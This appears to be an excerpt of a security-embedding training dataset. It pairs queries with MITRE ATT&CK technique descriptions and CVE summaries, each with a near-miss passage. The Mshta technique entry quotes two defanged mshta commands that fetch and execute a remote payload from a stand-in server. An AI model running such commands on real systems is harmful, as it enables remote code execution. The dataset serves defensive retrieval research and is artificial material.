alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: what is T1059.005
Matching passage: T1059.005 Visual Basic. Tactics: execution. Description: Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft) Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript) Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )
Near-miss passage: T1059.012 Hypervisor CLI. Tactics: execution. Description: Adversaries may abuse hypervisor command line interpreters (CLIs) to execute malicious commands. Hypervisor CLIs typically enable a wide variety of functionality for managing both the hypervisor itself and the guest virtual machines it hosts. For example, on ESXi systems, tools such as `esxcli` and `vim-cmd` allow administrators to configure firewall rules and log forwarding on the hypervisor, list virtual machines, start and stop virtual machines, and more.(Citation: Broadcom ESXCLI Reference)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: LOLESXi) Adversaries may be able to leverage these tools in order to support further actions, such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).
Query: describe CVE-2015-7520
Matching passage: CVE-2015-7520. CWE: CWE-79. CVSS: 6.099999904632568. Multiple cross-site scripting (XSS) vulnerabilities in the (1) RadioGroup and (2) CheckBoxMultipleChoice classes in Apache Wicket 1.5.x before 1.5.15, 6.x before 6.22.0, and 7.x before 7.2.0 allow remote attackers to inject arbitrary web script or HTML via a crafted "value" attribute in a <input> element.
Near-miss passage: CVE-2015-8477. CWE: CWE-79. CVSS: 6.099999904632568. Cross-site scripting (XSS) vulnerability in Redmine before 2.6.2 allows remote attackers to inject arbitrary web script or HTML via vectors involving flash message rendering.
Query: indicators of DNS Server
Matching passage: T1583.002 DNS Server. Tactics: resource development. Description: Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)
Near-miss passage: T1583 Acquire Infrastructure. Tactics: resource development. Description: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.
Query: describe CVE-2015-0735
Matching passage: CVE-2015-0735. CWE: CWE-352. CVSS: 6.800000190734863. Cross-site request forgery (CSRF) vulnerability in Cisco Unified Customer Voice Portal (CVP) 10.5(1) allows remote attackers to hijack the authentication of arbitrary users, aka Bug ID CSCut93970.
Near-miss passage: CVE-2015-5397. CWE: CWE-352. CVSS: 6.800000190734863. Cross-site request forgery (CSRF) vulnerability in Joomla! 3.2.0 through 3.3.x and 3.4.x before 3.4.2 allows remote attackers to hijack the authentication of unspecified victims for requests that upload code via unknown vectors.
Query: common weakness: Improper Neutralization of Line Delimiters
Matching passage: CWE-144 Improper Neutralization of Line Delimiters. The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as line delimiters when they are sent to a downstream component.
Near-miss passage: CWE-260 Password in Configuration File. The product stores a password in a configuration file that might be accessible to actors who do not know the password.
Query: describe CVE-2015-5556
Matching passage: CVE-2015-5556. CWE: UNKNOWN. CVSS: 10.0. Use-after-free vulnerability in Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-5127, CVE-2015-5130, CVE-2015-5134, CVE-2015-5539, CVE-2015-5540, CVE-2015-5550, CVE-2015-5551, CVE-2015-5557, CVE-2015-5559, CVE-2015-5561, CVE-2015-5563, CVE-2015-5564, and CVE-2015-5565.
Near-miss passage: CVE-2015-6323. CWE: UNKNOWN. CVSS: 9.800000190734863. The Admin portal in Cisco Identity Services Engine (ISE) 1.1.x, 1.2.0 before patch 17, 1.2.1 before patch 8, 1.3 before patch 5, and 1.4 before patch 4 allows remote attackers to obtain administrative access via unspecified vectors, aka Bug ID CSCuw34253.
Query: what is T1568
Matching passage: T1568 Dynamic Resolution. Tactics: command and control. Description: Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control. Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
Near-miss passage: T1568.002 Domain Generation Algorithms. Tactics: command and control. Description: Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019) DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation) Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)
Query: patch priority for CVE-2015-5295
Matching passage: CVE-2015-5295. CWE: CWE-119. CVSS: 5.400000095367432. The template-validate command in OpenStack Orchestration API (Heat) before 2015.1.3 (kilo) and 5.0.x before 5.0.1 (liberty) allows remote authenticated users to cause a denial of service (memory consumption) or determine the existence of local files via the resource type in a template, as demonstrated by file:///dev/zero.
Near-miss passage: CVE-2015-6989. CWE: CWE-119. CVSS: 6.800000190734863. Grand Central Dispatch in Apple iOS before 9.1, OS X before 10.11.1, and watchOS before 2.0.1 allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted package that is mishandled during dispatch calls.
Query: exploit The smooth-slider plugin before 2.7 for WordPress has SQL Injection via the wp-admin/admin.php?page=smooth-slider-admin current_slider_id parameter.
Matching passage: CVE-2015-9454. CWE: CWE-89. CVSS: 8.800000190734863. The smooth-slider plugin before 2.7 for WordPress has SQL Injection via the wp-admin/admin.php?page=smooth-slider-admin current_slider_id parameter.
Near-miss passage: CVE-2015-5725. CWE: CWE-89. CVSS: 9.800000190734863. SQL injection vulnerability in the offset method in the Active Record class in CodeIgniter before 2.2.4 allows remote attackers to execute arbitrary SQL commands via vectors involving the offset variable.
Query: vulnerability: The TLS protocol 1.2 and earlier, when a DHE_EXPORT ciphersuite is enabled on a server but not on a client, does not properly convey a DHE_EXPORT choice, which allows man-in-the-mi
Matching passage: CVE-2015-4000. CWE: CWE-310. CVSS: 3.700000047683716. The TLS protocol 1.2 and earlier, when a DHE_EXPORT ciphersuite is enabled on a server but not on a client, does not properly convey a DHE_EXPORT choice, which allows man-in-the-middle attackers to conduct cipher-downgrade attacks by rewriting a ClientHello with DHE replaced by DHE_EXPORT and then rewriting a ServerHello with DHE_EXPORT replaced by DHE, aka the "Logjam" issue.
Near-miss passage: CVE-2015-1146. CWE: CWE-310. CVSS: 1.899999976158142. The Code Signing implementation in Apple OS X before 10.10.3 does not properly validate signatures, which allows local users to bypass intended access restrictions via a crafted bundle, a different vulnerability than CVE-2015-1145.
Query: risk of Cross-site scripting (XSS) vulnerability in Let's PHP! Frame high-speed chat before 2015-09-22 allows remote attackers to inject arbitrary web script or HTML via unspecified vector
Matching passage: CVE-2015-7782. CWE: CWE-79. CVSS: 6.099999904632568. Cross-site scripting (XSS) vulnerability in Let's PHP! Frame high-speed chat before 2015-09-22 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
Near-miss passage: CVE-2015-9304. CWE: CWE-79. CVSS: 6.099999904632568. The ultimate-member plugin before 1.3.18 for WordPress has XSS via text input.
Query: exploit WebKit in Apple iOS before 9.2, Safari before 9.0.2, and tvOS before 9.1 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and appli
Matching passage: CVE-2015-7048. CWE: CWE-119. CVSS: 6.800000190734863. WebKit in Apple iOS before 9.2, Safari before 9.0.2, and tvOS before 9.1 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than CVE-2015-7095, CVE-2015-7096, CVE-2015-7097, CVE-2015-7098, CVE-2015-7099, CVE-2015-7100, CVE-2015-7101, CVE-2015-7102, and CVE-2015-7103.
Near-miss passage: CVE-2015-8365. CWE: CWE-119. CVSS: 6.800000190734863. The smka_decode_frame function in libavcodec/smacker.c in FFmpeg before 2.6.5, 2.7.x before 2.7.3, and 2.8.x through 2.8.2 does not verify that the data size is consistent with the number of channels, which allows remote attackers to cause a denial of service (out-of-bounds array access) or possibly have unspecified other impact via crafted Smacker data.
Query: what is T1491.002
Matching passage: T1491.002 External Defacement. Tactics: impact. Description: An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)
Near-miss passage: T1491 Defacement. Tactics: impact. Description: Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages.
Query: risk of XML external entity (XXE) vulnerability in SAP Mobile Platform allows remote attackers to send requests to intranet servers via crafted XML, aka SAP Security Note 2125358.
Matching passage: CVE-2015-2813. CWE: UNKNOWN. CVSS: 5.0. XML external entity (XXE) vulnerability in SAP Mobile Platform allows remote attackers to send requests to intranet servers via crafted XML, aka SAP Security Note 2125358.
Near-miss passage: CVE-2015-2975. CWE: UNKNOWN. CVSS: 5.0. Research Artisan Lite before 1.18 does not ensure that a user has authenticated, which allows remote attackers to perform unspecified actions via unknown vectors.
Query: CVE similar to CVE-2015-9336
Matching passage: CVE-2015-9336. CWE: CWE-79. CVSS: 6.099999904632568. The clean-login plugin before 1.5.1 for WordPress has reflected XSS.
Near-miss passage: CVE-2015-10075. CWE: CWE-79. CVSS: 6.099999904632568. A vulnerability was found in Custom-Content-Width 1.0. It has been declared as problematic. Affected by this vulnerability is the function override_content_width/register_settings of the file custom-content-width.php. The manipulation leads to cross site scripting. The attack can be launched remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.0.1 is able to address this issue. The patch is named e05e0104fc42ad13b57e2b2cb2d1857432624d39. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-220219. NOTE: This attack is not very likely.
Query: telemetry for T1218.009
Matching passage: T1218.009 Regsvcs/Regasm. Tactics: stealth. Description: Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
Near-miss passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Query: describe CVE-2015-1545
Matching passage: CVE-2015-1545. CWE: UNKNOWN. CVSS: 5.0. The deref_parseCtrl function in servers/slapd/overlays/deref.c in OpenLDAP 2.4.13 through 2.4.40 allows remote attackers to cause a denial of service (NULL pointer dereference and crash) via an empty attribute list in a deref control in a search request.
Near-miss passage: CVE-2015-2600. CWE: UNKNOWN. CVSS: 3.5. Unspecified vulnerability in the Siebel Core - Server OM Svcs component in Oracle Siebel CRM 8.1.1, 8.2.2, and 15.0 allows remote authenticated users to affect confidentiality via unknown vectors related to Security.
Query: risk of The Bluetooth HCI interface implementation in Apple OS X before 10.10.4 allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corr
Matching passage: CVE-2015-3683. CWE: CWE-119. CVSS: 9.300000190734863. The Bluetooth HCI interface implementation in Apple OS X before 10.10.4 allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app.
Near-miss passage: CVE-2015-2092. CWE: CWE-119. CVSS: 7.5. The AnnotationX.AnnList.1 ActiveX control in Agilent Technologies Feature Extraction allows remote attackers to execute arbitrary code via a crafted object parameter in the Insert function, related to "Index Out-Of-Bounds."
Query: hunt for Exfiltration to Cloud Storage activity
Matching passage: T1567.002 Exfiltration to Cloud Storage. Tactics: exfiltration. Description: Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet. Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.
Near-miss passage: T1567.003 Exfiltration to Text Storage Sites. Tactics: exfiltration. Description: Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as <code>pastebin[.]com</code>, are commonly used by developers to share code and other information. Text storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec) **Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs.
Query: exploit verify_certificate_identity in the OpenSSL extension in Ruby before 2.0.0 patchlevel 645, 2.1.x before 2.1.6, and 2.2.x before 2.2.2 does not properly validate hostnames, which all
Matching passage: CVE-2015-1855. CWE: CWE-20. CVSS: 5.900000095367432. verify_certificate_identity in the OpenSSL extension in Ruby before 2.0.0 patchlevel 645, 2.1.x before 2.1.6, and 2.2.x before 2.2.2 does not properly validate hostnames, which allows remote attackers to spoof servers via vectors related to (1) multiple wildcards, (1) wildcards in IDNA names, (3) case sensitivity, and (4) non-ASCII characters.
Near-miss passage: CVE-2015-5186. CWE: CWE-20. CVSS: 5.300000190734863. Audit before 2.4.4 in Linux does not sanitize escape characters in filenames.
Query: risk of ftagent.exe in EMC AutoStart 5.4.x and 5.5.x before 5.5.0.508 HF4 allows remote attackers to execute arbitrary commands via crafted packets.
Matching passage: CVE-2015-0538. CWE: CWE-77. CVSS: 9.300000190734863. ftagent.exe in EMC AutoStart 5.4.x and 5.5.x before 5.5.0.508 HF4 allows remote attackers to execute arbitrary commands via crafted packets.
Near-miss passage: CVE-2015-5011. CWE: CWE-77. CVSS: 3.200000047683716. IBM WebSphere Message Broker 8 before 8.0.0.6 and Integration Bus 9 before 9.0.0.4 do not check authorization for MQSISTARTMSGFLOW and MQSISTOPMSGFLOW commands, which allows local users to bypass intended access restrictions, and start or stop a service, by issuing a command.